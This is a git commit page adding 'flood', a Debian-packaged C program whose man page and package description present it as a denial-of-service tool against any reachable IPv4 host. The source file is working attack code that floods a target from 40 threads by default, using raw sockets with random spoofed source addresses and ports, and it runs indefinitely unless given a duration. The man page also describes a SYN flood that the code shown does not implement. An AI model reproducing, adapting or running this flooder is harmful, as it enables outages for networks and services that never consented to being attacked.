summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorJake Mannens <jakem_5@hotmail.com>2016-04-05 13:52:34 +1000
committerJake Mannens <jakem_5@hotmail.com>2016-04-05 13:52:34 +1000
commit65ce53bab412623b6b7b39f2fba3536619175537 (patch)
treeb038ee9203db4e922289e3b683c83e044edb1c1e
new file: Makefile
new file: build.sh new file: man/flood.1.pod new file: package/DEBIAN/control new file: package/usr/share/doc/flood/README.gz new file: package/usr/share/doc/flood/changelog.gz new file: package/usr/share/doc/flood/copyright new file: package/usr/share/man/man1/flood.1.gz new file: source/Makefile new file: source/flood.c new file: version
-rw-r--r--Makefile15
-rwxr-xr-xbuild.sh12
-rw-r--r--man/flood.1.pod83
-rw-r--r--package/DEBIAN/control13
-rw-r--r--package/usr/share/doc/flood/README.gzbin0 -> 447 bytes
-rw-r--r--package/usr/share/doc/flood/changelog.gzbin0 -> 184 bytes
-rw-r--r--package/usr/share/doc/flood/copyright20
-rw-r--r--package/usr/share/man/man1/flood.1.gzbin0 -> 2881 bytes
-rw-r--r--source/Makefile26
-rw-r--r--source/flood.c224
-rw-r--r--version1
11 files changed, 394 insertions, 0 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..8505ce6
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,15 @@
+all: package
+
+package: flood
+ ./build.sh
+
+flood:
+ make -C source
+
+clean:
+ make -C source clean
+ rm -rf build
+ rm -rf *.deb
+
+install: package
+ dpkg -i *.deb
diff --git a/build.sh b/build.sh
new file mode 100755
index 0000000..f8b5c00
--- /dev/null
+++ b/build.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+VERSION=$(cat version)
+rm -rf build
+cp -r package build
+echo "Version: $VERSION" >> build/DEBIAN/control
+cp source/flood build/usr/bin
+strip build/usr/bin/flood
+cd build
+for file in `find usr -type f`; do md5sum $file >> DEBIAN/md5sums; done
+cd ..
+dpkg --build build "flood_$VERSION""_amd64.deb"
diff --git a/man/flood.1.pod b/man/flood.1.pod
new file mode 100644
index 0000000..4790741
--- /dev/null
+++ b/man/flood.1.pod
@@ -0,0 +1,83 @@
+=head1 NAME
+
+flood - perform a DoS attack
+
+=head1 SYNOPSIS
+
+Flood the target computer with packets.
+
+B<flood> [ B<-d> I<seconds> ] [ B<-s> I<bytes> ] [ B<-t> I<threads> ] I<address>
+
+=head1 DESCRIPTION
+
+B<flood> is a program designed to perform a DoS (denial-of-service) attack
+against a target computer. The target can either be a host on a local
+network, a host on the Internet or any other reachable IPv4 destination.
+
+=head2 Types of Attack
+
+B<flood> can currently execute two different types of DoS attacks; a UDP
+flood and a SYN flood.
+
+=head3 UDP Flood
+
+A UDP flood involves sending UDP packets of a fixed length carrying
+arbitrary data. The packets are given random source addresses as well as
+random source and destination ports. This attack primarily relies on the
+volume of packets being transmitted to overwhelm a target. A UDP flood
+can also strain a target of other resources such as memory and processor
+time. When an most operating systems receive a UDP packet on a closed port,
+they respond with an ICMP packet to indicate the failure. Transmitting
+these ICMP packets also costs the target valueable resources.
+
+=head3 SYN Flood
+
+A SYN flood involves sending TCP SYN (synchronize) packets to the target.
+The goal of this attack is to starve the targets possible clients by
+creating dozens of 'half-open' connections.
+
+=head1 OPTIONS
+
+The following options are accepted:
+
+=over 8
+
+=item B<-d> I<seconds>
+
+Specify the duration of the attack in seconds.
+
+=item B<-s> I<bytes>
+
+Overrides the default packet size.
+
+=item B<-t> I<threads>
+
+Set the number of threads to attack with.
+
+=item I<address>
+
+Target host to attack. I<address> can either be an IPv4
+address or a DNS hostname. DNS names will automatically
+be resolved.
+
+=back
+
+=head1 RETURN VALUE
+
+Exit status is 0 if B<flood> is able to begin the attack without
+any errors. If errors occur (such as the result of a bad address),
+the exit status is -1.
+
+=head1 EXAMPLES
+
+B<flood> -d 60 example.com
+
+Floods I<example.com> for 1 minute.
+
+=head1 AUTHOR
+
+Jake Mannens <jakem_5@hotmail.com>
+
+=head1 SEE ALSO
+
+B<tcp>(7), B<udp>(7).
diff --git a/package/DEBIAN/control b/package/DEBIAN/control
new file mode 100644
index 0000000..42d0bb2
--- /dev/null
+++ b/package/DEBIAN/control
@@ -0,0 +1,13 @@
+Package: flood
+Architecture: amd64
+Maintainer: Jake Mannens <jakem_5@hotmail.com>
+Installed-Size: 40
+Depends: libc6 (>= 2.14), libgcc1 (>= 1:4.1.1)
+Conflicts: flood
+Replaces: flood
+Section: devel
+Priority: optional
+Description: tool for DoS attacks such as UDP floods
+ flood can execute a 'denial of service' attack
+ against network hosts by flooding them with
+ UDP packets.
diff --git a/package/usr/share/doc/flood/README.gz b/package/usr/share/doc/flood/README.gz
new file mode 100644
index 0000000..567707c
--- /dev/null
+++ b/package/usr/share/doc/flood/README.gz
Binary files differ
diff --git a/package/usr/share/doc/flood/changelog.gz b/package/usr/share/doc/flood/changelog.gz
new file mode 100644
index 0000000..a2e7cbe
--- /dev/null
+++ b/package/usr/share/doc/flood/changelog.gz
Binary files differ
diff --git a/package/usr/share/doc/flood/copyright b/package/usr/share/doc/flood/copyright
new file mode 100644
index 0000000..58f4a50
--- /dev/null
+++ b/package/usr/share/doc/flood/copyright
@@ -0,0 +1,20 @@
+Files: *
+Copyright: 2016-2017 Jake Mannens
+License:
+
+ This package is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This package is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this package; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+On Debian systems, the complete text of the GNU General
+Public License can be found in `/usr/share/common-licenses/GPL'.
diff --git a/package/usr/share/man/man1/flood.1.gz b/package/usr/share/man/man1/flood.1.gz
new file mode 100644
index 0000000..64f9b5b
--- /dev/null
+++ b/package/usr/share/man/man1/flood.1.gz
Binary files differ
diff --git a/source/Makefile b/source/Makefile
new file mode 100644
index 0000000..2cd8f59
--- /dev/null
+++ b/source/Makefile
@@ -0,0 +1,26 @@
+TARGET = flood
+
+INSTALL_DIR = /usr/bin
+
+SRCS = $(wildcard *.c)
+
+CFLAGS = -pthread
+CC = gcc $(CFLAGS)
+
+all: build
+
+build: $(TARGET)
+
+$(TARGET): $(SRCS)
+ $(CC) -o $(TARGET) $(SRCS)
+
+clean:
+ rm -f $(TARGET)
+
+install: build
+ cp $(TARGET) $(INSTALL_DIR)
+ chown root:root $(INSTALL_DIR)/$(TARGET)
+ setcap cap_net_raw,cap_net_admin=eip $(INSTALL_DIR)/$(TARGET)
+
+uninstall:
+ rm -f $(INSTALL_DIR)/$(TARGET)
diff --git a/source/flood.c b/source/flood.c
new file mode 100644
index 0000000..bdab75a
--- /dev/null
+++ b/source/flood.c
@@ -0,0 +1,224 @@
+#include <arpa/inet.h>
+#include <errno.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <time.h>
+#include <unistd.h>
+
+#define DEFAULT_DELAY 0
+#define DEFAULT_PACKET_SIZE 1024
+#define DEFAULT_THREADS 40
+
+void* udpflood_thread(void*);
+void* kill_thread(void*);
+void handle_signal(int);
+int dns_resolve(char*, struct in_addr*);
+void print_usage(char*);
+
+struct udpflood_args {
+ unsigned char running;
+ in_addr_t address;
+ size_t packet_size;
+};
+
+struct udpflood_args thread_args;
+
+char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" };
+
+int main(int argc, char *argv[]) {
+ int i, status;
+
+ time_t delay = DEFAULT_DELAY;
+ size_t packet_size = DEFAULT_PACKET_SIZE;
+ int threads = DEFAULT_THREADS;
+
+ int flag;
+ int flags = 1;
+ while((flag = getopt(argc, argv, "d:s:t:")) != -1) {
+ switch(flag) {
+ case 'd':
+ delay = (time_t) atoi(optarg);
+ break;
+ case 's':
+ packet_size = (size_t) atoi(optarg);
+ break;
+ case 't':
+ threads = atoi(optarg);
+ break;
+ case '?':
+ exit(EXIT_FAILURE);
+ break;
+ }
+ flags++;
+ }
+
+ if(argc - flags < 1) {
+ printf("%s: Missing Address!\n", argv[0]);
+ print_usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ char* address_string = argv[argc - 1];
+ struct in_addr address;
+ status = inet_aton(address_string, &address);
+ if(status == 0) {
+ status = dns_resolve(address_string, &address);
+ if(status == -1) {
+ printf("%s: Invalid Address!\n", argv[0]);
+ print_usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ srand(time(NULL));
+ signal(SIGINT, handle_signal);
+
+ thread_args.address = address.s_addr;
+ thread_args.packet_size = packet_size;
+ thread_args.running = 1;
+
+ printf("Flooding %s (%s)\n", address_string, inet_ntoa(address));
+ if(delay == 0) {
+ printf(" Duration: Forever\n");
+ } else {
+ printf(" Duration: %d seconds\n", (int) delay);
+ }
+ printf(" Threads: %d\n", threads);
+ i = 0;
+ size_t size = packet_size;
+ while(size >= 1024) {
+ size /= 1024;
+ i++;
+ }
+ if(i < (sizeof(size_suffixes) / sizeof(char*))) {
+ printf(" Packet Size: %zu%s\n", size, size_suffixes[i]);
+ } else {
+ printf(" Packet Size: %zu%s\n", packet_size, size_suffixes[0]);
+ }
+
+ time_t start_time = time(NULL);
+
+ pthread_t tids[threads];
+ for(i = 0; i < threads; i++) {
+ pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args);
+ }
+
+ time_t end_time = time(NULL) + delay;
+ unsigned char infinite_delay = 0;
+ if(delay <= 0) infinite_delay = 1;
+ while(time(NULL) < end_time || infinite_delay && thread_args.running);
+
+ printf("Ending attack...\n");
+ if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time));
+ pthread_t kill_tid;
+ pthread_create(&kill_tid, NULL, &kill_thread, NULL);
+ thread_args.running = 0;
+ for(i = 0; i < threads; i++) {
+ pthread_join(tids[i], NULL);
+ }
+ exit(EXIT_SUCCESS);
+}
+
+void* udpflood_thread(void* args_ptr) {
+ int i, status;
+
+ struct udpflood_args* args = (struct udpflood_args*) args_ptr;
+
+ int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
+ if(sock_fd < 0) return NULL;
+ int val = 1;
+ int* ptr = &val;
+ status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val));
+ if(status < 0) return NULL;
+
+ struct ip_header {
+ unsigned char ihl;
+ unsigned char tos;
+ unsigned short len;
+ unsigned short ident;
+ unsigned short offset;
+ unsigned char ttl;
+ unsigned char protocol;
+ unsigned short checksum;
+ unsigned int source;
+ unsigned int dest;
+ };
+
+ struct udp_header {
+ unsigned short source_port;
+ unsigned short dest_port;
+ unsigned short len;
+ unsigned short checksum;
+ };
+
+ void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
+ memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
+ struct ip_header* ip = (struct ip_header*) packet;
+ struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header));
+ unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header);
+ for(i = 0; i < args->packet_size; i++) data[i] = rand();
+
+ ip->ihl = 5 | (4 << 4);
+ ip->tos = 46 << 2;
+ ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size;
+ ip->ident = htons(rand());
+ ip->ttl = 64;
+ ip->protocol = 17;
+ ip->dest = args->address;
+
+ udp->len = htons(sizeof(struct udp_header) + args->packet_size);
+
+ struct sockaddr_in addr;
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = args->address;
+
+ while(args->running) {
+ unsigned short dest_port = rand();
+ ip->source = htons(rand());
+ udp->source_port = htons(rand());
+ udp->dest_port = htons(rand());
+ ip->checksum = 0;
+ addr.sin_port = htons(dest_port);
+ sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr));
+ }
+
+ free(packet);
+ close(sock_fd);
+}
+
+void* kill_thread(void* args_ptr) {
+ time_t end_time = time(NULL) + 5;
+ while(time(NULL) < end_time);
+ printf("Failed to close threads! Terminating...\n");
+ exit(EXIT_SUCCESS);
+}
+
+void handle_signal(int signal) {
+ if(signal == SIGINT) {
+ printf("\nCaught SIGINT\n");
+ thread_args.running = 0;
+ }
+}
+
+int dns_resolve(char* name, struct in_addr* address) {
+ struct hostent *he;
+ he = gethostbyname(name);
+ if(he == NULL) return -1;
+ in_addr_t **addr = (in_addr_t**) he->h_addr_list;
+ address->s_addr = *addr[0];
+ return 0;
+}
+
+void print_usage(char* command) {
+ printf("Usage: %s [ -d seconds ] [ -s bytes ] [ -t threads ] <address>\n", command);
+ printf("\n");
+ printf(" -d seconds Sets the duration of the attack in seconds.\n");
+ printf(" -s bytes Overrides the default packet size in bytes.\n");
+ printf(" -t threads Specifies the number of threads for the attack.\n");
+ printf("\n");
+}
diff --git a/version b/version
new file mode 100644
index 0000000..3eefcb9
--- /dev/null
+++ b/version
@@ -0,0 +1 @@
+1.0.0